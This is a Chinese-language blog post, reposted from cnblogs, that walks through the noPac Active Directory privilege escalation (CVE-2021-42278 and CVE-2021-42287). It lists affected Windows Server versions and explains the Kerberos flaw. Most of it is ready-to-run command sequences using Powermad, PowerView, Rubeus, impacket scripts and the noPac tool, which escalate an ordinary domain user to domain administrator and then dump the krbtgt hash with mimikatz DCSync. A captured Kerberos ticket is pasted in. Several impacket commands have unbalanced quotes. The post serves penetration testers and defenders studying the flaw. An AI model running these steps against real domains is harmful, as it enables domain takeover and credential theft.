跳到主要内容

AD 提权-CVE-2021-42278:Nopac

本文转载自 博客园-RoderickNopac(CVE-2021-42278 + CVE-2021-42287) 这篇文章,本人仅对其排版和小部分内容做了一点小改动而已。

导航

0、前言

2021 年 11 月 9 日,国外研究员在推特上发布了 Active Directory 相关的 CVE:CVE-2021-42278、CVE-2021-42287,两个漏洞组合可导致域内普通用户权限提升至域管权限。

1、影响范围

Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server 2022
Windows Server 2022 (Server Core installation)
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)

2、漏洞原理

  • CVE-2021-42278:机器用户应当是 computer$ 的形式,但是实际并没有验证机器账号是否有 $。导致机器用户名可以被模拟冒用。

  • CVE-2021-42287:Kerberos 在处理 UserName 字段时,如果找不到 UserName 的话,KDC 会继续查找 UserName$,如果还是查找不到的话,KDC 会继续查找 altSecurityIdentities 属性的值的用户。正是因为这个处理逻辑,导致了漏洞的产生。触发这个点有两种方式:

    • 跨域请求:跨域请求时,目标域活动目录数据库是找不到其他域的用户的,因此会走进这个处理 UserName 的逻辑。
    • 修改 saMAccountName 属性:在当前域,可以通过修改 saMAccountName 属性让 KDC 找不到用户,然后走进这个处理 UserName 的逻辑。

    但是这还是不够,仅仅让 KDC 走进这个处理 UserName 的逻辑,还不能伪造高权限。因为票据中代表用户身份权限是数据块是 PAC。而 TGT 票据中的 PAC 是根据预认证身份信息生成的,这个我们无法伪造。因此得想办法在 ST 服务票据中进行伪造。而正常的 ST 服务票据中的 PAC 是直接拷贝 TGT 认购权证中的。因此,得想办法让 KDC 在 TGS-REP 的时候重新生成 PAC,而不是拷贝 TGT 票据中的 PAC。这里也有两种方式:

    • S4U2Self 请求:KDC 在处理 S4U2Self 类型的 TGS-REQ 请求时,PAC 是重新生成的。
    • 跨域无 PAC 的 TGT 票据进行 TGS 请求:KDC 在处理跨域的 TGS-REQ 请求时,如果携带的 TGT 票据中没有 PAC,PAC 会重新生成。

3、利用条件

  1. 一个普通域成员帐户。
  2. 域用户有创建机器用户的权限(一般默认权限)。
  3. DC 未打补丁 KB5008380 或 KB5008602。

4、漏洞复现

4.1、攻击流程

(1)首先,创建⼀个机器用户 nopac$,并将其 saMAccountName 属性的值设置为 r-dc(注:r-dc 对应的是域控机器账户的名称);(2)接着,为这个新的机器用户请求⼀张带有 PAC 的正常的 TGT 票据(此时这张票据对应的用户身份是普通的 r-dc 用户);(3)然后,再将该机器用户的 saMAccountName 属性还原;(4)最后,攻击者利用刚刚申请到的带有 PAC 的 TGT 向 KDC 进行 S4U2self 委派请求,这个时候 KDC 就会根据 TGT 票据中对应的用户信息来判断域内是否存在 r-dc 这个用户,一搜索没找到 r-dc(因为机器账户 nopac 的 saMAccountName 属性已被还原。 ),于是便又开始搜索 r-dc$,结果搜索到了,一检查发现它对应的用户是域控的机器账户(而 r-dc$ 其实是域控机器账户 r-dc 的 sAMAccountName 属性的值),这时候,KDC 便认为这张 TGT 票据其实是域控的机器账户的 TGT 票据。于是在对待这次模拟域管理员访问域控的 S4U2self 委派请求时,KDC 很自然地就返回给了一张拥有域管理员身份的 ST 票据。于是攻击者便获得了对域控制器的控制权限。

4.2、手工复现

方法一:Powershell

# hacker.lab 是域名,r-dc 是 DC 的机器名称,nopac 是新建的机器名,1qaz@WSX 是新建的机器用户的密码。

# 使用 Powershell 创建机器用户
import-module .\Powermad.ps1
$password = ConvertTo-SecureString '1qaz@WSX' -AsPlainText -Force
New-MachineAccount -MachineAccount "nopac" -Password $($password) -Domain "hacker.lab" -DomainController "r-dc.hacker.lab" -Verbose

# 使用 Powershell 清除机器用户的 SPN
Import-Module .\powerview.ps1
Set-DomainObject "CN=nopac,CN=Computers,DC=hacker,DC=lab" -Clear 'serviceprincipalname' -Verbose

# 使用 powershell 将机器用户名修改为 DC 的用户名。注意不带$符号
Set-MachineAccountAttribute -MachineAccount "nopac" -Value "r-dc" -Attribute samaccountname -Verbose

# 查看机器用户名是否修改成功
Get-DomainObject "CN=nopac,CN=Computers,DC=hacker,DC=lab"

# 使用 Rubeus 用机器账号向 DC 请求 TGT
Rubeus.exe asktgt /user:"r-dc" /password:"1qaz@WSX" /domain:"hacker.lab" /dc:"r-dc.hacker.lab" /nowrap

# 将机器用户名重置为原来的用户名
Set-MachineAccountAttribute -MachineAccount "nopac" -Value "nopac" -Attribute samaccountname -Verbose

# 使用请求的 TGT 通过 S4U2self 获取 ST 注意,impersonateuser 必须要存在才有效,如果域内 administrator 被禁用,换成其他域管
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/r-dc.hacker.lab" /dc:"r-dc.hacker.lab" /ptt /ticket:[Base64 TGT]

# 可选命令,查看获取的 ST
klist

# 使用 Mimikatz 进行 Dcsync
mimikatz.exe "lsadump::dcsync /domain:hacker.lab /kdc:r-dc.hacker.lab /user:krbtgt" "exit"

# 可选命令,清除所有的 ST
klist purge

(1)创建机器用户

#为了方便实验把 powershell 执行策略关了
import-module .\Powermad.ps1
$password = ConvertTo-SecureString '1qaz@WSX' -AsPlainText -Force
New-MachineAccount -MachineAccount "nopac" -Password $($password) -Domain "hacker.lab" -DomainController "r-dc.hacker.lab" -Verbose

(2)清除机器用户的 SPN

# 使用Powershell清除机器用户的SPN
Import-Module .\Powerview.ps1
Set-DomainObject "CN=nopac,CN=Computers,DC=hacker,DC=lab" -Clear 'serviceprincipalname' -Verbose

(3)修改机器用户名

# 使用 powershell 将机器用户名修改为 DC 的用户名。注意不带$符号
Set-MachineAccountAttribute -MachineAccount "nopac" -Value "r-dc" -Attribute samaccountname -Verbose

# 查看机器用户名是否修改成功
Get-DomainObject "CN=nopac,CN=Computers,DC=hacker,DC=lab"

(4)向 DC 请求 TGT

# 使用 Rubeus 用机器账号向 DC 请求 TGT

Rubeus.exe asktgt /user:"r-dc" /password:"1qaz@WSX" /domain:"hacker.lab" /dc:"r-dc.hacker.lab" /nowrap

(5)重置为原来的用户名

# 将机器用户名重置为原来的用户名
Set-MachineAccountAttribute -MachineAccount "nopac" -Value "nopac" -Attribute samaccountname -Verbose

(6)通过 S4U2self 获取 ST

# 使用请求的 TGT 通过 S4U2self 获取 ST 注意,impersonateuser 必须要存在才有效,如果域内 administrator 被禁用,换成其他域管

Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/r-dc.hacker.lab" /dc:"r-dc.hacker.lab" /ptt /ticket:doIEvjCCBLqgAwIBBaEDAgEWooID3TCCA9lhggPVMIID0aADAgEFoQwbCkhBQ0tFUi5MQUKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCmhhY2tlci5sYWKjggOZMIIDlaADAgESoQMCAQKiggOHBIIDgziUxk6/J4JdE9i1GOh2DffGLnsFI72tmJH3RkKX9fADA2Qv9O/JVwCtieU0YHgaDu9S/t0WbVdhH276O/BQGAuZcqcpOyUra9ASH9gvh0iAM8qhxNtEgRcr0C+f04mUmGZ7VW772QdVGVJhzkxZHrOnQy070XnHDdq/euKhYNG1mBLlassxWhaPjbfQQ4GV0eWDMdKoWbzr7jmmWIE1jDJVivU8oeWmuRCudoAMAYtdvKMCwdDSUHNDGtWBJnlV6T23I8Ll7JJGBxfXW43yhns7Hk/9UHFUEnaIpMVJw0FRTXQKnoLOmseeMdR5MbbE4CUW63wrAZEEmpxBCiiIExxCtSU6rfEdPlgGRNiTT1JMYfx93C0PzhI23dfwRTORoxLyY7ov9BTkL+oIBk3kCfqX0YNDEw8NZ+ZNefGWhGqDGtfw4GuTQ3RtAJVAJ1rqMcUa5B721snJijBzLGbx78mDyHT4Z/92JBI4JvKQvM9ka5Cd2qgjxTdzqeFj9skmYebHcqhKPKbFZFxNpfe6k96Y0f14TFGF8pcK45wiSCHtYwk9W0gPSbxfEMFCSREPWH3iYp64itlkPECF96aUem5yJhERd8Bcfm+87cw3Nqvw/RWOdLWMc4KaGFpMK54KBZFuHX4AeHnEgdMRdvhaktmmYUcG0Yiyp1r70tJz2SC1YT3q+EBQR92n2D5ZGh2GeCbtewRx+Ievz95/5NsxT3o93H1fv0wQhJs5doNfHYoViAanWR7IuFz6tj0o641yTgE/eNzWyHNizlYc/jlgvAo3eVwuJKKPB8VPNsHf+rvB88+MuxWqir+gNpFE3bgDidjD3MuLaWZVp18iMcISYsVq9pK1DmNRxVbhkpZjZwR6V7tHXNGqjW5GE+ecglfBR77vkDPWx43DG6H4cOOJjwOBtXcDRE3+C2tJatZFrrb8+Dg9azIkjsrm4XNXJC3Wb0D0mO4VZcsyx2QF2RFiJxX1f9dtlEBaTqXqWfXsIIkMAFdQurJ61WgB/e5Uzcuji734/tX6AQOQUS0cYcpjgxrkR5LPa2V2p6DaVMt06XNNGNPu6IHQl+LFhZpjG+E1i6BWbCuGxQ0A8wFTYoShJhMsA/Nb2i8U+dYtOMQTauIowa64nuAxhEnGamNO850oKevCqi8p3rkoQxIJBj6kjkoo0bqapV+2PrHKugzABPDIqHY+o4HMMIHJoAMCAQCigcEEgb59gbswgbiggbUwgbIwga+gGzAZoAMCARehEgQQyWY+tRU/6sZLh/D/PrW9dKEMGwpIQUNLRVIuTEFCohEwD6ADAgEBoQgwBhsEci1kY6MHAwUAQOEAAKURGA8yMDIyMDgyMzA2MzIwMlqmERgPMjAyMjA4MjMxNjMyMDJapxEYDzIwMjIwODMwMDYzMjAyWqgMGwpIQUNLRVIuTEFCqR8wHaADAgECoRYwFBsGa3JidGd0GwpoYWNrZXIubGFi

使用 mimikatz 的 dcsync 功能导出 hash

mimikatz.exe "lsadump::dcsync /domain:hacker.lab /user:krbtgt /csv" "exit"

方法二:impacket

# 0. 创建机器账号
python3 addcomputer.py -computer-name 'nopacTest -computer-pass '1qaz@WSX' -dc-ip 10.211.55.30 'hacker.lab/hacker:1qaz@WSX'

# 1. 清除 SPN
python3 addspn.py --clear -t 'nopacTest -u 'hacker\hacker' -p '1qaz@WSX' r-dc.hacker.lab

# 2. 重命名计算机(计算机-> DC)
python3 renameMachine.py -current-name 'nopacTest -new-name 'r-dc' -dc-ip r-dc.hacker.lab hacker/hacker:1qaz@WSX

# 3. 获取 TGT 使用修改后的计算机名和机器密码
python3 getTGT.py -dc-ip r-dc.hacker.lab hacker.lab/r-dc:1qaz@WSX

# 4. 重命名计算机
python3 renameMachine.py -current-name 'r-dc' -new-name 'nopacTest -dc-ip r-dc.hacker.lab hacker/hacker:1qaz@WSX

# 5. 使用 TGT 利用 S4U2self 获取 ST (cifs/ldap)/r-dc.hacker.lab
export KRB5CCNAME=r-dc.ccache
python3 getST.py -impersonate 'administrator' -spn 'cifs/r-dc.hacker.lab' -k -no-pass -dc-ip r-dc.hacker.lab hacker/r-dc

# 6. DCSync 导出 hash
export KRB5CCNAME=administrator.ccache
python3 secretsdump.py -just-dc-user krbtgt -k -no-pass -dc-ip r-dc.hacker.lab @r-dc.hacker.lab

4.3、工具复现

项目地址 1:https://github.com/cube0x0/noPac

项目地址 2:https://github.com/Ridter/noPac【推荐】

# 使用指定的用户密码扫描域内是否存在能利用该漏洞的 DC

noPac.exe scan -domain hacker.lab -user "hacker" -pass "1qaz@WSX"

# 使用一键化工具获得域控 cifs 的权限

noPac.exe -domain hacker.lab -user "hacker" -pass "1qaz@WSX" /dc r-dc.hacker.lab /mAccount nopac1 /mPassword 1qaz@WSX /service cifs /ptt

# 使用一键化工具获得域控 ldap 服务的权限,同样此处的impersonate 和手动利用方式一致,需要该用户可用

noPac.exe -domain hacker.lab -user "hacker" -pass "1qaz@WSX" /dc r-dc.hacker.lab /mAccount nopac2 /mPassword 1qaz@WSX /service ldap /ptt /impersonate Administrator

# 使用 dcsync 导出域内 krbtgt 密码

mimikatz.exe "lsadump::dcsync /domain:hacker.lab /user:krbtgt /csv" "exit"

检查是否存在漏洞

noPac.exe scan -domain hacker.lab -user "hacker" -pass "1qaz@WSX"

获得域控 cifs 的权限 ST 测试 ST 票据可用

noPac.exe -domain hacker.lab -user "hacker" -pass "1qaz@WSX" /dc r-dc.hacker.lab /mAccount nopac1 /mPassword 1qaz@WSX /service cifs /ptt

获取 ldap 权限的 ST,mimikatz 的 dcsync 功能导出 hash

noPac.exe -domain hacker.lab -user "hacker" -pass "1qaz@WSX" /dc r-dc.hacker.lab /mAccount nopac2 /mPassword 1qaz@WSX /service ldap /ptt /impersonate Administrator

mimikatz.exe "lsadump::dcsync /domain:hacker.lab /user:krbtgt /csv" "exit"